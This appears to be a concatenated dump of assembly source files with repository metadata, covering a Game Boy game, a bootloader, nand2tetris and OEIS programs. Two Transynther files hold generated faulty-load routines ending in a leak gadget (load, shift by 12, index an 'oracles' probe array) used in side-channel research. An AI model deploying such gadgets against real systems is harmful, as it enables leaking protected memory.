00 48 00 00 00 00 00 00 00 00 48 48 48 48 00 00 00 00 00 00 00 00 48 48 48 48 48 00 00 00 00 00 00 00 00 00 00 48 48 48 46 00 00 00 00 00 00 00 00 00 48 48 48 48 48 48 48 00 00 00 00 00 00 00 48 48 48 48 48 46 00 00 00 00 00 00 00 00 48 48 48 00 00 00 00 00 00 00 00 48 48 00 00 00 00 00 00 00 00 00 48 48 48 48 48 00 00 00 00 00 00 00 00 00 48 48 48 00 48 00 00 00 00 00 00 00 00 00 48 48 48 48 48 00 00 00 00 00 00 00 48 48 48 48 48 00 00 00 00 00 00 00 00 48 48 48 00 00 00 00 00 00 00 00 00 48 48 48 48 00 00 00 00 00 00 00 48 48 48 48 00 48 48 00 00 00 00 00 00 00 00 00 00 48 48 48 48 48 00 00 48 00 00 00 00 00 00 00 00 00 00 48 48 48 00 46 48 00 00 00 00 00 00 00 00 00 48 48 48 48 00 00 00 00 00 00 00 00 48 48 48 48 00 48 00 00 00 00 00 00 00 48 48 48 48 48 00 00 00 00 00 00 00 00 00 48 48 48 48 48 48 00 00 00 00 00 00 00 00 48 48 00 48 00 00 00 00 00 00 00 00 00 00 48 48 48 00 48 00 00 00 00 00 00 00 00 48 48 48 00 00 00 00 00 00 00 00 00 48 48 48 00 48 48 00 00 00 00 00 00 00 48 48 48 48 00 46 00 00 00 00 00 00 00 48 48 48 48 00
*/
| 34.153846 | 2,999 | 0.655008 |
68d142886455a734a2669f17223d2e7bcc09a4ae | 1,427 | asm | Assembly | src/spikes.asm | Gegel85/RunnerGB | 3d36597b94558cd3b3f613031291086190b45f2f | [
"MIT"
] | null | null | null | src/spikes.asm | Gegel85/RunnerGB | 3d36597b94558cd3b3f613031291086190b45f2f | [
"MIT"
] | null | null | null | src/spikes.asm | Gegel85/RunnerGB | 3d36597b94558cd3b3f613031291086190b45f2f | [
"MIT"
] | null | null | null | ; Update all spikes
; Params:
; None
; Return:
; e -> The number of spikes after update
; Registers:
; af -> Not preserved
; bc -> Not preserved
; de -> Not preserved
; hl -> Not preserved
updateSpikes:
ld hl, NB_SPIKES
ld a, [hli]
and a
ret z
ld c, a
ld a, [CURRENT_SCROLL]
ld d, a
xor a
ld b, a
.updateSpikeLoop:
ld a, [hli]
ld e, a
ld a, [hl]
sub d
ld [hli], a
cp 40
jr c, .nextSpike
cp 43
jr nc, .nextSpike
ld b, a
ld a, [PLAYER_Y]
dec e
dec e
cp e
jr nc, gameOver
.nextSpike:
dec c
jr nz, .updateSpikeLoop
ld a, [SPIKES + 1]
cp a, $F9
jr nc, .keepSpike
cp a, $C0
jr c, .keepSpike
ld hl, NB_SPIKES
ld a, [hl]
dec a
ld [hl], a
ret z
push af
ld de, SPIKES
ld hl, SPIKES + 2
ld b, 0
sla a
ld c, a
call copyMemory
pop af
ld e, a
.keepSpike:
or 1
ret
; Display all spikes
; Params:
; e -> Number of spikes to show
; Return:
; None
; Registers:
; af -> Not preserved
; bc -> Not preserved
; de -> Not preserved
; hl -> Not preserved
displaySpikes:
ld hl, NB_SPIKES
xor a
or [hl]
ret z
ld b, a
ld hl, SPRITES_BUFFER + $18
ld de, SPIKES
.displayLoop:
ld a, [de]
inc de
add $18
ld [hli], a
ld a, [de]
inc de
ld [hli], a
ld a, (SpikeSprite - BackgroundChrs) / $10
ld [hli], a
ld a, 2
ld [hli], a
dec b
jr nz, .displayLoop
jr .delLastSprite
.noSpikes:
ld hl, SPRITES_BUFFER + $18
.delLastSprite:
xor a
ld [hli], a
ret | 13.091743 | 43 | 0.606167 |
d7b0d6f8fd68527d4e1bf90641bde9de1eae841b | 6,466 | asm | Assembly | Transynther/x86/_processed/NONE/_xt_sm_/i9-9900K_12_0xca_notsx.log_21829_1265.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/NONE/_xt_sm_/i9-9900K_12_0xca_notsx.log_21829_1265.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/NONE/_xt_sm_/i9-9900K_12_0xca_notsx.log_21829_1265.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r15
push %r8
push %rcx
push %rdi
push %rsi
lea addresses_WT_ht+0x18086, %r10
nop
and $47703, %r8
mov $0x6162636465666768, %rsi
movq %rsi, %xmm4
movups %xmm4, (%r10)
nop
nop
nop
and $60493, %r10
lea addresses_WC_ht+0xc2ee, %rsi
lea addresses_WT_ht+0x1e86, %rdi
nop
nop
sub %r8, %r8
mov $108, %rcx
rep movsq
cmp %r10, %r10
lea addresses_normal_ht+0x9221, %rsi
lea addresses_WT_ht+0x438a, %rdi
nop
nop
nop
nop
nop
sub $1715, %r15
mov $120, %rcx
rep movsw
nop
nop
cmp $47077, %r10
pop %rsi
pop %rdi
pop %rcx
pop %r8
pop %r15
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r12
push %r8
push %rax
push %rbp
push %rbx
push %rsi
// Store
mov $0xc86, %r10
nop
nop
add $28315, %r8
mov $0x5152535455565758, %rax
movq %rax, (%r10)
nop
nop
dec %r8
// Store
lea addresses_UC+0x486, %rbp
nop
sub $10538, %rsi
movw $0x5152, (%rbp)
nop
nop
nop
add $5291, %rbx
// Store
lea addresses_A+0x1bc86, %r10
xor $8561, %r12
mov $0x5152535455565758, %rbp
movq %rbp, (%r10)
nop
nop
nop
add %rbp, %rbp
// Store
lea addresses_A+0xe178, %r12
nop
nop
nop
nop
nop
and %rbx, %rbx
mov $0x5152535455565758, %rbp
movq %rbp, %xmm1
vmovups %ymm1, (%r12)
nop
nop
nop
nop
nop
sub %rbp, %rbp
// Store
lea addresses_UC+0x5c86, %rbp
nop
inc %r10
mov $0x5152535455565758, %rbx
movq %rbx, %xmm6
vmovups %ymm6, (%rbp)
nop
inc %rbp
// Store
mov $0x686, %rbp
dec %rbx
mov $0x5152535455565758, %r8
movq %r8, %xmm0
vmovups %ymm0, (%rbp)
nop
nop
nop
nop
nop
cmp $15009, %r10
// Store
lea addresses_RW+0x11486, %rbp
nop
xor %r8, %r8
mov $0x5152535455565758, %rbx
movq %rbx, (%rbp)
xor $138, %rbp
// Faulty Load
lea addresses_RW+0x11486, %rbx
nop
nop
nop
add %r8, %r8
mov (%rbx), %r10
lea oracles, %r8
and $0xff, %r10
shlq $12, %r10
mov (%r8,%r10,1), %r10
pop %rsi
pop %rbx
pop %rbp
pop %rax
pop %r8
pop %r12
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_RW', 'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 0}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_P', 'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 9}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_UC', 'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 10}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_A', 'NT': True, 'AVXalign': False, 'size': 8, 'congruent': 8}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_A', 'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 0}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_UC', 'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 11}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_P', 'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 8}}
{'OP': 'STOR', 'dst': {'same': True, 'type': 'addresses_RW', 'NT': True, 'AVXalign': False, 'size': 8, 'congruent': 0}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'same': True, 'type': 'addresses_RW', 'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 0}}
<gen_prepare_buffer>
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_WT_ht', 'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 10}}
{'OP': 'REPM', 'src': {'same': False, 'congruent': 2, 'type': 'addresses_WC_ht'}, 'dst': {'same': False, 'congruent': 9, 'type': 'addresses_WT_ht'}}
{'OP': 'REPM', 'src': {'same': False, 'congruent': 0, 'type': 'addresses_normal_ht'}, 'dst': {'same': False, 'congruent': 2, 'type': 'addresses_WT_ht'}}
{'58': 21829}
58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58
*/
| 36.325843 | 2,999 | 0.6545 |
0af5781da1e087b714a9a8a7e9de360a534bcae1 | 175 | asm | Assembly | data/pokemon/dex_entries/lumineon.asm | AtmaBuster/pokeplat-gen2 | fa83b2e75575949b8f72cb2c48f7a1042e97f70f | [
"blessing"
] | 6 | 2021-06-19T06:41:19.000Z | 2022-02-15T17:12:33.000Z | data/pokemon/dex_entries/lumineon.asm | AtmaBuster/pokeplat-gen2-old | 01e42c55db5408d72d89133dc84a46c699d849ad | [
"blessing"
] | null | null | null | data/pokemon/dex_entries/lumineon.asm | AtmaBuster/pokeplat-gen2-old | 01e42c55db5408d72d89133dc84a46c699d849ad | [
"blessing"
] | 3 | 2021-01-15T18:45:40.000Z | 2021-10-16T03:35:27.000Z | db "NEON@" ; species name
db "LUMINEON swimming"
next "in the darkness of"
next "the deep sea look"
page "just like stars"
next "shining in the"
next "night sky.@"
| 17.5 | 26 | 0.668571 |
19d7f4a636b67a1087ed612a9720714a937ffc61 | 1,199 | asm | Assembly | projects/vmt/test/scratch/func.asm | RobertCurry0216/nand2tetris | 5be3e68b921561f9358b28876e1573b093f1244b | [
"MIT"
] | null | null | null | projects/vmt/test/scratch/func.asm | RobertCurry0216/nand2tetris | 5be3e68b921561f9358b28876e1573b093f1244b | [
"MIT"
] | null | null | null | projects/vmt/test/scratch/func.asm | RobertCurry0216/nand2tetris | 5be3e68b921561f9358b28876e1573b093f1244b | [
"MIT"
] | null | null | null | // function Sys.init 0
(Sys.init)
@SP
D=M
@LCL
AM=D
D=A
@SP
M=D
// push constant 4
@4
D=A
@SP
A=M
M=D
@SP
M=M+1
// call Main.test 1
@return.Main.test.2
D=A
@SP
A=M
M=D
@SP
M=M+1
@LCL
D=M
@SP
A=M
M=D
@SP
M=M+1
@ARG
D=M
@SP
A=M
M=D
@SP
M=M+1
@THIS
D=M
@SP
A=M
M=D
@SP
M=M+1
@THAT
D=M
@SP
A=M
M=D
@SP
M=M+1
@6
D=A
@SP
D=M-D
@ARG
M=D
@Main.test
0;JMP
(return.Main.test.2)
// label WHILE
(WHILE)
// goto WHILE
@WHILE
0;JMP
// function Main.test 2
(Main.test)
@SP
D=M
@LCL
AM=D
M=0
A=A+1
M=0
A=A+1
D=A
@SP
M=D
// push constant 2
@2
D=A
@SP
A=M
M=D
@SP
M=M+1
// pop local 0
@LCL
D=M
@0
D=D+A
@R15
M=D
@SP
AM=M-1
D=M
@R15
A=M
M=D
// push constant 3
@3
D=A
@SP
A=M
M=D
@SP
M=M+1
// pop local 1
@LCL
D=M
@1
D=D+A
@R15
M=D
@SP
AM=M-1
D=M
@R15
A=M
M=D
// push argument 0
@ARG
A=M
D=M
@SP
A=M
M=D
@SP
M=M+1
// push local 0
@LCL
A=M
D=M
@SP
A=M
M=D
@SP
M=M+1
// push local 1
@LCL
D=M
@1
A=D+A
D=M
@SP
A=M
M=D
@SP
M=M+1
// add
@SP
AM=M-1
D=M
A=A-1
M=D+M
// add
@SP
AM=M-1
D=M
A=A-1
M=D+M
// return
@SP
A=M-1
D=M
@ARG
A=M
M=D
@LCL
D=M
@SP
M=D
@ARG
D=M+1
@R14
M=D
@SP
AM=M-1
D=M
@THAT
M=D
@SP
AM=M-1
D=M
@THIS
M=D
@SP
AM=M-1
D=M
@ARG
M=D
@SP
AM=M-1
D=M
@LCL
M=D
@SP
AM=M-1
D=M
@R15
M=D
@R14
D=M
@SP
M=D
@R15
A=M;JMP
| 5.709524 | 23 | 0.563803 |
b2ceafa89c1c6857427de0e80ccdfc440c995a39 | 1,429 | asm | Assembly | programs/oeis/098/A098603.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | 1 | 2021-03-15T11:38:20.000Z | 2021-03-15T11:38:20.000Z | programs/oeis/098/A098603.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | programs/oeis/098/A098603.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | ; A098603: a(n) = n*(n+10).
; 0,11,24,39,56,75,96,119,144,171,200,231,264,299,336,375,416,459,504,551,600,651,704,759,816,875,936,999,1064,1131,1200,1271,1344,1419,1496,1575,1656,1739,1824,1911,2000,2091,2184,2279,2376,2475,2576,2679,2784,2891,3000,3111,3224,3339,3456,3575,3696,3819,3944,4071,4200,4331,4464,4599,4736,4875,5016,5159,5304,5451,5600,5751,5904,6059,6216,6375,6536,6699,6864,7031,7200,7371,7544,7719,7896,8075,8256,8439,8624,8811,9000,9191,9384,9579,9776,9975,10176,10379,10584,10791,11000,11211,11424,11639,11856,12075,12296,12519,12744,12971,13200,13431,13664,13899,14136,14375,14616,14859,15104,15351,15600,15851,16104,16359,16616,16875,17136,17399,17664,17931,18200,18471,18744,19019,19296,19575,19856,20139,20424,20711,21000,21291,21584,21879,22176,22475,22776,23079,23384,23691,24000,24311,24624,24939,25256,25575,25896,26219,26544,26871,27200,27531,27864,28199,28536,28875,29216,29559,29904,30251,30600,30951,31304,31659,32016,32375,32736,33099,33464,33831,34200,34571,34944,35319,35696,36075,36456,36839,37224,37611,38000,38391,38784,39179,39576,39975,40376,40779,41184,41591,42000,42411,42824,43239,43656,44075,44496,44919,45344,45771,46200,46631,47064,47499,47936,48375,48816,49259,49704,50151,50600,51051,51504,51959,52416,52875,53336,53799,54264,54731,55200,55671,56144,56619,57096,57575,58056,58539,59024,59511,60000,60491,60984,61479,61976,62475,62976,63479,63984,64491
mov $1,$0
add $1,10
mul $1,$0
| 204.142857 | 1,369 | 0.802659 |
a01155336e68f7272f4becfb591eb648ef33ae84 | 63 | asm | Assembly | data/maps/headers/Route5Gate.asm | opiter09/ASM-Machina | 75d8e457b3e82cc7a99b8e70ada643ab02863ada | [
"CC0-1.0"
] | 1 | 2022-02-15T00:19:44.000Z | 2022-02-15T00:19:44.000Z | data/maps/headers/Route5Gate.asm | opiter09/ASM-Machina | 75d8e457b3e82cc7a99b8e70ada643ab02863ada | [
"CC0-1.0"
] | null | null | null | data/maps/headers/Route5Gate.asm | opiter09/ASM-Machina | 75d8e457b3e82cc7a99b8e70ada643ab02863ada | [
"CC0-1.0"
] | null | null | null |
map_header Route5Gate, ROUTE_5_GATE, GATE, 0
end_map_header
| 15.75 | 45 | 0.809524 |
41d51fa78ce4e5bccfa7e564ecad5bd12eac7463 | 4,637 | asm | Assembly | bootldr.asm | next0n/mbl | 3087c4d28ba499aaf8d8e1cba579e4ab9debe297 | [
"BSD-2-Clause"
] | 1 | 2019-10-21T17:32:13.000Z | 2019-10-21T17:32:13.000Z | bootldr.asm | next0n/mbl | 3087c4d28ba499aaf8d8e1cba579e4ab9debe297 | [
"BSD-2-Clause"
] | null | null | null | bootldr.asm | next0n/mbl | 3087c4d28ba499aaf8d8e1cba579e4ab9debe297 | [
"BSD-2-Clause"
] | null | null | null | ;
; MBL - Minimal Boot Loader for 80C188EB project board
;
; Copyright (c) 2005-2017, Arto Merilainen (arto.merilainen@gmail.com)
; All rights reserved.
;
; Redistribution and use in source and binary forms, with or without
; modification, are permitted provided that the following conditions are met
;
; 1. Redistributions of source code must retain the above copyright notice,
; this list of conditions and the following disclaimer.
; 2. Redistributions in binary form must reproduce the above copyright notice,
; this list of conditions and the following disclaimer in the documentation
; and/or other materials provided with the distribution.
;
; THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
; AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
; IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
; ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE
; LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
; CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
; SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
; INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
; CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
; ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
; POSSIBILITY OF SUCH DAMAGE.
;
; This bootloader makes minimal initialization to the hardware, loads an
; application from UART to RAM and starts executing it.
;
; The initializations include:
; * UCS signal is configured to enable EEPROM when there is an access to area
; 0xFF800-0xFFFFF
; * LCS signal is configured to enable RAM when there is an access to area
; 0x00000-0x20000
; * Interrupt vector is initialized to point to an "iret" instruction at
; 0xFFFFF.
; * Stack pointers are initialized to end of RAM (0x1FFFF)
; * UART0 is initialized (9600bps, 8 databits, 1 stopbits)
; * 4 least significant lines in P1 are configured as outputs
;
; Beginning of EEPROM.
org 0xF800
;
; Initialize rest of the memory chip selection signals and interrupt vectors.
;
; This routine gets called from END of this file. The boot vector for 80C188EB
; if 0xFFFF0.
;
begin: ; Setup end of EEPROM
mov dx, 0xFFA6
mov ax, 0x000E
out dx, al
; Setup start of RAM
mov dx, 0xFFA0
mov ax, 0x0000
out dx, al
; Setup end of RAM
mov dx, 0xFFA2
mov ax, 0x200A
out dx, al
;
; Initialize all interrupts to be handled by an iret.
; Check end of this file.
;
mov ax, 0
mov es, ax
mov di, 0
mov cx, 256
.setint:
mov ax, 0xFFFF
stosw
mov ax, 0xF000
stosw
loop .setint
; Set up the stack
mov ax, 0x1000
mov ss, ax
mov sp, 0xFFFF
; Start executing the application loader
jmp start
;
; Few UART helper functions
;
; Initialize the serial line
serial_init:
push dx
push ax
mov ax, 0x8067
mov dx, 0xFF60
out dx, ax
mov ax, 0x0021
mov dx, 0xFF64
out dx, ax
pop ax
pop dx
ret
; Send the character at AL to UART0
serial_putch:
push dx
push ax
mov dx, 0xFF66
.w in al,dx
test al,8
jz .w
pop ax
mov dx, 0xFF6A
out dx, al
pop dx
ret
; Read a single char from UART0. Result is returned in AL
serial_getc:
push dx
.w mov dx, 0xFF66
in al, dx
test al,40h
jz .w
mov dx, 0xFF68
in al, dx
pop dx
ret
;
; The start of "application". All required initializations are done and this
; could be any application (which you can fit into 2KB :-))
;
start:
;
; Turn LED0 on to indicate that the CPU is alive
;
mov dx, 0xFF56
mov al, 1110b
out dx, al
mov dx, 0xFF54
mov al, 0xF0
out dx, al
; Initialize the serial port
call serial_init
; Inform that the application is ready
mov al, '>'
call serial_putch
;
; Load 2KB from the serial port
;
; Set up loop register to 2KB
mov cx, 0x0800
; Set target segment register
mov ax, 0x0000
mov es, ax
; Set the offset within the segment (0x800)
mov di, 0x0800
; Load the application
.read call serial_getc
stosb
loop .read
; Start executing the application
jmp 0x0000:0x0800
;
; Make the binary 2KB to allow easy programming to the EEPROM.
; Note that we need 16 bytes free at end of the EEPROM for
; storing the CPU reset routine.
;
Main_Size equ $ - begin
times (0x7F0 - Main_Size) db 0
;
; The code execution starts from here: 80C188EB starts code execution
; from 0xffff0
;
boot: cli
; Setup end of EEPROM
mov dx, 0xFFA4
mov ax, 0xFF80
out dx, al
; Start execution at beginning of this file
jmp begin
Boot_Size equ $ - boot
times (0x0F - Boot_Size) db 0
;
; The dummy interrupt handler
;
iret_int:
iret
| 21.769953 | 78 | 0.732586 |
3ffd52f0d4070b9b28632e22bfd6e2ad99c87f66 | 628 | asm | Assembly | oeis/084/A084944.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/084/A084944.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/084/A084944.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A084944: Hendecagorials: n-th polygorial for k=11.
; Submitted by Jamie Morken(s3)
; 1,1,11,330,19140,1818300,256380300,50250538800,13065140088000,4350691649304000,1805537034461160000,913601739437346960000,553642654099032257760000,395854497680808064298400000,329746796568113117560567200000,316556924705388592858144512000000,346946389477105897772526385152000000,430560469341088419135705243973632000000,600631854730818344694308815343216640000000,935784429670614981033733134304731525120000000,1618907063330163917188358322347185538457600000000
mov $2,1
mov $4,1
lpb $0
sub $0,1
add $3,$2
add $2,9
mul $4,$3
lpe
mov $0,$4
| 44.857143 | 456 | 0.859873 |
712ba3614fc42807bfaf8391e02c5d7b647898ff | 572 | asm | Assembly | oeis/024/A024020.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/024/A024020.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/024/A024020.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A024020: a(n) = 2^n - n^10.
; 1,1,-1020,-59041,-1048560,-9765593,-60466112,-282475121,-1073741568,-3486783889,-9999998976,-25937422553,-61917360128,-137858483657,-289254638592,-576650357857,-1099511562240,-2015993769377,-3570466964480,-6131065733513,-10239998951424,-16679878881049,-26559918597120,-41426502825041,-63403364188160,-95367398086193,-141167028544512,-205890997876921,-296196498259968,-420706696429289,-590488926258176,-819626139497153,-1125895611875328,-1531570395329857,-2064360574190592,-2758512993777257
mov $1,2
pow $1,$0
pow $0,10
sub $1,$0
mov $0,$1
| 63.555556 | 491 | 0.804196 |
c08e0e2acbc130a7b08c2c72c3b1023fc92719f9 | 5,921 | asm | Assembly | Transynther/x86/_processed/US/_zr_/i9-9900K_12_0xca.log_21829_1518.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/US/_zr_/i9-9900K_12_0xca.log_21829_1518.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/US/_zr_/i9-9900K_12_0xca.log_21829_1518.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r12
push %r13
push %r14
push %rbx
push %rcx
push %rdi
push %rsi
lea addresses_UC_ht+0xe948, %rsi
lea addresses_D_ht+0xc1f0, %rdi
nop
nop
inc %r10
mov $127, %rcx
rep movsl
nop
add $59156, %rbx
lea addresses_normal_ht+0x1b230, %r10
nop
nop
and $38697, %r14
mov $0x6162636465666768, %rcx
movq %rcx, %xmm7
and $0xffffffffffffffc0, %r10
movntdq %xmm7, (%r10)
nop
add $36939, %rbx
lea addresses_A_ht+0xf0d0, %rbx
nop
nop
nop
nop
add $24925, %r12
movb (%rbx), %cl
nop
nop
add $57545, %r10
lea addresses_A_ht+0x100e8, %rcx
clflush (%rcx)
add %r14, %r14
mov $0x6162636465666768, %rsi
movq %rsi, (%rcx)
nop
nop
nop
cmp $15257, %r14
lea addresses_UC_ht+0x1dfd0, %rsi
lea addresses_WC_ht+0x7770, %rdi
clflush (%rsi)
nop
nop
nop
inc %r13
mov $113, %rcx
rep movsl
nop
nop
sub $3320, %r13
lea addresses_A_ht+0x12f96, %r12
nop
add %r14, %r14
movb $0x61, (%r12)
nop
nop
nop
nop
nop
inc %rbx
lea addresses_WC_ht+0x18642, %rsi
lea addresses_A_ht+0xcc98, %rdi
sub %rbx, %rbx
mov $69, %rcx
rep movsb
nop
nop
nop
nop
nop
dec %rbx
lea addresses_WC_ht+0xd4d0, %r10
nop
inc %rdi
mov (%r10), %r14d
nop
add %rcx, %rcx
pop %rsi
pop %rdi
pop %rcx
pop %rbx
pop %r14
pop %r13
pop %r12
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r11
push %r12
push %r14
push %rdx
// Faulty Load
lea addresses_US+0x114d0, %r14
nop
nop
nop
inc %r12
mov (%r14), %dx
lea oracles, %r12
and $0xff, %rdx
shlq $12, %rdx
mov (%r12,%rdx,1), %rdx
pop %rdx
pop %r14
pop %r12
pop %r11
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'size': 8, 'NT': False, 'type': 'addresses_US', 'same': False, 'AVXalign': False, 'congruent': 0}}
[Faulty Load]
